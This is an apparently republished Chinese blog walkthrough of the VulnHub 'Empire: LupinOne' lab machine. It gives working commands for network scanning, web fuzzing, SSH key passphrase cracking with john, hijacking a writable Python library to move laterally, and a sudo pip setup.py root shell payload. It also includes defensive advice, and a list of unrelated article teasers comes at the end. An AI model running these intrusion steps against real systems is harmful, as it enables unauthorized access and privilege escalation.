Empire: LupinOne靶場滲透

Empire: LupinOne

來自 <https://www.vulnhub.com/entry/empire-lupinone,750/#top>

?

1,將兩臺虛擬機網絡連接都改為NAT模式

2,攻擊機上做namp局域網掃描發現靶機

nmap -sn 192.168.23.0/24

那么攻擊機IP為192.168.23.128,靶場IP192.168.23.149

3,對靶機進行端口服務探測

nmap -sV -T4 -p- -A 192.168.23.149

?

4,訪問80端口開放的http服務

掃描枚舉網站子目錄

dirsearch -u http://192.168.23.149 -x 403,404??

http://192.168.23.149/robots.txt

http://192.168.23.149/~myfiles/

http://192.168.23.149/manual/en/index.html

5,在舊版 Apache 中,~username URL 會映射到該用戶主目錄下的公開網頁目錄。如果服務器開啟了 mod_userdir 模塊,攻擊者可以通過枚舉 ~username 的形式發現服務器上存在的用戶及其公開目錄。借助 wfuzz 這樣的工具,可以高效地自動化測試不同的用戶名,從而找到如 ~secret 這樣的隱藏路徑,進而獲取潛在敏感信息或利用點

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.23.149/~FUZZ

http://192.168.23.149/~secret/

你好朋友,我很高興你找到了我的秘密,我創建了這樣的內容來與你分享我創建的 ssh 私鑰文件,

它隱藏在這里的某個地方,這樣黑客就不會找到它并使用快速通道破解我的密碼。

我很聰明,我知道這一點。

有任何問題請告訴我

你最好的朋友 icex64

繼續在該路徑下模糊測試以搜索文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt? --hc 404,403 -u http://192.168.23.149/~secret/.FUZZ.txt

訪問得到一個全是編碼后的網頁

http://192.168.23.149/~secret/.mysecret.txt

解碼就能得到ssh私鑰文件

Base58 編碼的特征

1. 設計初衷

Base58 是 比特幣 等加密貨幣體系里廣泛使用的一種編碼方式,主要用于:

  • 地址表示(避免用戶輸錯)。
  • 替代 Base64,以去掉容易混淆的字符。

2. 字符集特征

Base58 的字符集由以下 58 個符號組成:

123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz

特點:

  • 去掉了 0(零)、O(大寫字母 O)、I(大寫字母 I)、l(小寫字母 L),因為它們容易和其他字符混淆。
  • 沒有 + / = 這類符號(Base64 常見)。
  • 全部由 大小寫字母 + 數字 構成。

3. 長度特征

  • 編碼后字符串通常 較長,但比 Base64 短(因為沒有填充符 =)。
  • 沒有固定的長度規則,但常見長度:
    • 比特幣地址:通常 26–35 位。
    • IPFS CID、某些區塊鏈交易哈希:可能更長。

4. 格式特征

  • 全字符串只會包含上述 58 個字符。
  • 不會出現 0, O, I, l, +, /, =。
  • 通常作為“可復制粘貼”的 ID 或地址出現,常見在錢包地址、交易哈希、邀請碼中。
  • 在日志或數據包里看起來像一串“看似隨機”的大小寫字母+數字混合。

5. 檢測方法

當你在分析日志或流量時,如果遇到可疑字符串,可以通過以下方式判斷是否可能是 Base58:

  1. 檢查是否只包含 Base58 字符集。
  2. 檢查是否沒有 0, O, I, l 等字符。
  3. 檢查長度是否落在常見范圍(比如 25–35 位時,很可能是加密貨幣地址)。
  4. 嘗試解碼,看是否得到合理的數據結構(如版本號+校驗和)。

6. 典型應用場景

  • 比特幣地址(最常見)。
  • IPFS CID(內容尋址標識符)。
  • 區塊鏈中的交易 ID、私鑰/公鑰編碼
  • 某些邀請碼/序列號(為了用戶友好)。

一句話總結

Base58 編碼特征就是——由 58 個不易混淆的字母數字組成的字符串,不含 0/O/I/l/+/=/ 等符號,常見于加密貨幣地址、區塊鏈標識和分布式系統 ID。

6,使用ssh2john生成一下密碼本,然后再用john爆破一下,就可以得到密碼了

使用 ssh2john.py轉換私鑰文件格式

  • John the Ripper 不能直接識別 OpenSSH 的私鑰格式。
  • ssh2john.py 是一個轉換工具(John 官方自帶),可以把 SSH 私鑰文件轉化為 hash 格式,供 John 識別和破解。
  • 命令:
    /usr/share/john/ssh2john.py privatekey > passwd.txt
    • privatekey:解碼后的私鑰文件。
    • passwd.txt:輸出文件,里面是 John 能識別的哈希。

使用 John 爆破密碼

  • 如果私鑰被設置了密碼(passphrase),直接用來連接 SSH 會提示輸入密碼。
  • John the Ripper 可以通過字典攻擊或暴力破解嘗試恢復出這個密碼。
  • 命令:
    john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt
    • --wordlist=...:指定字典文件。
    • passwd.txt:剛才生成的哈希文件。
  • John 會嘗試字典中的每一個候選詞,直到找到正確的私鑰密碼。

所以私鑰密碼就是P@55w0rd!

7,先給密鑰文件賦予600權限,然后再ssh登錄

chmod 600 privatekey

ssh icex64@192.168.23.149 -i privatekey

登錄成功,然后再進行信息收集

再查看如何提權

發現一個能夠以arsene用戶權限執行的py文件

cat /home/arsene/heist.py

這個程序調用了webbrowser.open,我們可以嘗試篡改這個所有人可讀可寫可執行的文件以實現提權

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

添加一條調用/bin/bash的程序

然后再sudo運行這個文件

sudo -u arsene python3.9 /home/arsene/heist.py

成功切換用戶

?

橫向移動的原理

這就是 橫向移動(Lateral Movement) 的典型手法:

  • 起點:攻擊者先控制低權限用戶(icex64)。
  • 突破口:找到某個程序/配置,允許以另一個用戶運行代碼(sudo -u arsene)。
  • 漏洞點:該程序依賴了一個可篡改的庫文件(webbrowser.py),而這個庫文件權限過寬(777)。
  • 利用鏈
    • 修改庫文件 → 注入惡意代碼。
    • 執行目標程序 → 被迫加載惡意模塊。
    • 獲得新用戶(arsene)的 shell。

本質是 劫持依賴(Dependency Hijacking):利用目標用戶執行程序時會調用的依賴庫,并篡改該庫來執行任意代碼。
安全啟示

  • 系統關鍵庫文件絕不能設為 777。
  • sudo 配置應避免直接運行依賴第三方庫的腳本。
  • 監控 /usr/lib/python*/ 下文件的完整性(如用 AIDE、Tripwire)。

總結一句話

這個橫向移動的原理就是——利用 低權限用戶可寫的系統庫文件(webbrowser.py),劫持了 Python 依賴模塊,當目標用戶用 sudo -u arsene 執行程序時,惡意代碼被加載,從而實現從 icex64 用戶橫向移動到 arsene 用戶的提權。

8,然后再sudo -l看能否提權

搜索怎么通過pip提權

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

最后成功提權成為root用戶

?

sudo pip 提權原理

1. 漏洞前提

  • 當前用戶可以執行:
    sudo pip install ...
    (也就是允許用 root 權限運行 pip)。
  • pip 在安裝包時,會執行 setup.py 里的 Python 代碼。
  • 關鍵點:setup.py 不僅僅定義安裝邏輯,還能執行任意 Python 代碼。

2. 攻擊步驟分析

(1) 創建臨時目錄

TF=$(mktemp -d)

  • mktemp -d 創建一個隨機命名的臨時目錄(例如 /tmp/tmp.abcd1234),存放偽造的“包”。
  • TF 保存該目錄路徑。

(2) 編寫惡意 setup.py

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

  • 在該目錄中寫入一個 setup.py 文件。
  • 內容:
    import os
    os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')
  • 作用:當 setup.py 被執行時,直接替換當前進程為一個交互式 shell。
  • sh <$(tty) >$(tty) 2>$(tty) 確保 shell 與當前終端連接,而不是靜默運行。

(3) 以 root 權限運行 pip

sudo pip install $TF

  • pip install 時,會自動執行目標路徑下的 setup.py。
  • 因為這里是用 sudo 運行的 → 進程以 root 身份運行。
  • 結果:攻擊者得到一個 root shell。

3. 本質原理

  1. pip install 的實現機制:
    • 解析 setup.py
    • 執行其中的安裝邏輯(實際就是執行 Python 代碼)。
  2. 當你能用 sudo 運行 pip 時,就等于獲得了一個能讓你寫的任意 Python 代碼在 root 權限下運行的執行器。
  3. 所以,sudo pip 本質就是代碼執行 → 提權

4. 防御措施

  • 禁止在 sudoers 中直接允許 pip
  • 使用 pip install --user,避免全局安裝。
  • 如果必須用 root 安裝,推薦使用 python -m venv 隔離環境。
  • 生產系統中可以通過 sudoers 白名單限制具體命令,而不是整個 pip。

總結一句話

sudo pip 提權的原理是 —— pip 在安裝包時會執行 setup.py,而 setup.py 是任意 Python 代碼。當 pip 以 root 身份運行時,攻擊者就能通過自制的包執行任意代碼,從而直接獲得 root shell。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/97573.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/97573.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/97573.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

飛騰2000+/64核 PCIE掃描異常問題排查

1、背景介紹近期項目中采用全國產飛騰計算模塊搭配一塊FPGA模塊&#xff08;FPGA為復旦微的VU9P&#xff09;&#xff0c;實現業務數據的收發。FPGA中采用了Xilinx的XDMA IP核&#xff0c;飛騰計算模塊中的FT2000/64核處理器通過PEU1的一路 PCIE3.0x8與VU9P相連接&#xff0c;發…

證明與激勵:Walrus 可編程數據如何通過激勵可用性證明獲得安全性

Walrus 的可用性證明&#xff08;Proof of Availability&#xff0c;PoA&#xff09; 是部署在 Sui 上的鏈上憑證&#xff0c;它為數據托管創建了一個可驗證的公開記錄&#xff0c;并作為存儲服務正式啟動的標志。PoA 中的“激勵”來自一個健全的經濟框架&#xff1a;存儲節點需…

云存儲(參考自騰訊云計算工程師認證)

目錄 存儲基礎知識&#xff1a; RAID&#xff1a; 云存儲概述&#xff1a; 云存儲產品&#xff1a; CBS&#xff1a; CFS文件存儲&#xff1a; COS對象存儲&#xff1a; 云存儲安全&#xff1a; 存儲基礎知識&#xff1a; 機械硬盤&#xff1a;HDD&#xff0c;即傳統硬…

面試tips--JVM(2)--對象創建的過程

一、創建對象的完整過程1. 類加載檢查JVM 遇到 new 指令時&#xff0c;首先去檢查這個類 User 是否已經被加載、解析和初始化過。如果沒有&#xff0c;就先執行 類加載過程&#xff08;加載 .class 文件到方法區/元空間、創建 Class 對象等&#xff09;。【這個過程就是加載、驗…

【Web安全】CRLF注入攻擊深度解析:原理、場景與安全測試防御指南

文章目錄前言&#xff1a;為什么CRLF注入是安全測試不可忽視的威脅&#xff1f;1. CRLF注入核心原理&#xff1a;從字符定義到協議依賴1.1 什么是CRLF&#xff1f;1.2 CRLF在HTTP協議中的關鍵作用1.3 CRLF注入的本質&#xff1a;格式混淆攻擊2. CRLF注入典型利用場景與安全測試…

【安全學習】DVWA 靶場 SQL 注入漏洞原理分析與防御策略(教育用途)

注意&#xff1a;本文內容僅用于合法授權的安全研究、教學演示及漏洞復現&#xff0c;嚴禁用于任何未授權的系統或網絡環境。 所有操作需在本地沙箱或個人可控靶場中執行&#xff0c;切勿對生產環境、他人系統進行測試&#xff0c;非法使用后果自負。&#x1f4cc; 法律與道德雙…

Langflow Memory 技術深度分析

Langflow Memory 技術深度分析 1. Memory 技術概述和設計理念 1.1 技術概述 Langflow 的 Memory 系統是一個多層次的記憶管理框架&#xff0c;專門設計用于處理對話歷史、上下文狀態和會話數據的存儲與檢索。該系統采用了分層架構設計&#xff0c;支持多種記憶類型和存儲后端&a…

從0開始搭建一個前端項目(vue + vite + less + typescript)

版本 node&#xff1a;v22.17.1 pnpm&#xff1a;v10.13.1 vue&#xff1a;^3.5.18 vite&#xff1a;^7.0.6 typescipt&#xff1a;~5.8.0腳手架初始化vue pnpm create vuelatest只選擇&#xff1a; TypeScript, JSX 3. 用vscode打開創建的項目&#xff0c;并刪除多余的代碼esl…

(十)ps識別:Swin Transformer-T 與 ResNet50 結合的 PS 痕跡識別模型訓練過程解析

Swin Transformer-T 與 ResNet50 結合的 PS 痕跡識別模型 思路分析模型融合思路&#xff1a; 利用ResNet50提取圖像的局部紋理和邊緣特征&#xff0c;這對檢測篡改區域的細微變化非常重要利用Swin Transformer-T捕捉全局上下文信息和長距離依賴關系&#xff0c;有助于理解圖像整…

[ICCV25]TRACE:用3D高斯直接學習物理參數,讓AI“推演”未來場景

導讀在復雜的動態世界中&#xff0c;讓機器人既能看懂場景&#xff0c;又能預測未來變化&#xff0c;是一項極具挑戰性的任務。過去的方法往往依賴人工標注或簡化的物理模型&#xff0c;卻難以真正捕捉物體運動的規律。TRACE 提出了一個全新的思路&#xff1a;把三維場景中的每…

電商數據開發實踐:深度剖析1688商品詳情 API 的技術與應用

在電商行業數字化轉型的進程中&#xff0c;數據獲取與處理的效率和準確性&#xff0c;直接影響著企業的競爭力。作為開發者&#xff0c;相信大家都遇到過這類棘手問題&#xff1a;在構建時&#xff0c;因數據不一致導致采購決策失誤&#xff1b;使用傳統&#xff0c;又常遭遇電…

Docker 詳解+示例(部署Kafka鏡像容器)

介 紹Docker 是一個開源的容器化平臺&#xff0c;它的核心目標是解決 “軟件在不同環境下運行不一致” 的問題&#xff0c;實現 “一次構建&#xff0c;到處運行” 。它基于 Linux 內核的底層技術&#xff0c;將應用程序及其依賴&#xff08;如庫文件、配置、運行環境等&#x…

SciPy科學計算與應用:SciPy應用實戰-數據分析與工程計算

SciPy案例研究&#xff1a;從理論到實踐 學習目標 通過本課程&#xff0c;學員將了解一系列實際案例&#xff0c;深入探討SciPy庫在數據分析、物理模擬和工程計算中的應用。同時學員將學習如何利用SciPy解決實際問題&#xff0c;加深對SciPy各個模塊的理解和應用能力。 相關知識…

React學習教程,從入門到精通, ReactJS - 架構(6)

ReactJS - 架構 React應用的架構 React的架構就像一個井然有序的廚房&#xff0c;每個工具都有其特定的位置和用途。在其核心&#xff0c;React遵循一個基于組件的架構&#xff0c;這意味著我們使用可重用的組件構建應用程序。 組件&#xff1a;構建塊 可以把組件想象成樂高積木…

Bias / variance and neural networks|偏差/方差和神經網絡

----------------------------------------------------------------------------------------------- 這是我在我的網站中截取的文章&#xff0c;有更多的文章歡迎來訪問我自己的博客網站rn.berlinlian.cn&#xff0c;這里還有很多有關計算機的知識&#xff0c;歡迎進行留言或…

Linux HMM(Heterogeneous Memory Management)的應用

原理篇見【https://blog.csdn.net/shenjunpeng/article/details/150931847?spm1011.2415.3001.5331】 1. HMM 的優勢與挑戰 1.1 優勢 統一虛擬地址空間&#xff1a;簡化異構計算平臺的數據共享和訪問。 高效頁表同步&#xff1a;支持設備端的 page fault 和頁表同步&#x…

鴻蒙創新賽活動——Mac提交壓縮失敗后續

Mac提交壓縮失敗后續來了… 傳送帶【上一篇】 背景 華為2025HarmonyOS創新賽 上傳作品的時候&#xff0c;遇到了一個提示 ZIP包中的Office文件含有嵌入文件&#xff0c;就去這個Office文件找&#xff0c;怎么也找不到嵌入的文件。 解決方法1 上次推薦的解決方式是&#xff0…

Ubuntu操作系統下使用mysql、mongodb、redis

目錄 一、核心步驟概覽 二. MySQL &#xff08;下面以其他用戶為例&#xff09; 1,、安裝 2、管理服務 3、連接與使用 4、配置文件位置 5、下面來演示一下安裝好之后如何在Linux操作系統中遠程登錄和window互連Linux 遠程登錄 window連Linux&#xff08;連不上的&…

springboot java開發的rocketmq 順序消息保證

首先要明確一個關鍵點&#xff1a;RocketMQ 保證的是一種局部順序&#xff08;Partially Ordered&#xff09;?&#xff0c;而非全局順序&#xff08;Globally Ordered&#xff09;。這意味著消息的順序性只在某個特定維度&#xff08;比如同一個訂單ID&#xff09;下保證&…

【機器學習】 14 Kernels

本章目錄 14 Kernels 479 14.1 Introduction 479 14.2 Kernel functions 479 14.2.1 RBF kernels 480 14.2.2 Kernels for comparing documents 480 14.2.3 Mercer (positive definite) kernels 481 14.2.4 Linear kernels 482 14.2.5 Matern kernels 482 14.2.6 String kerne…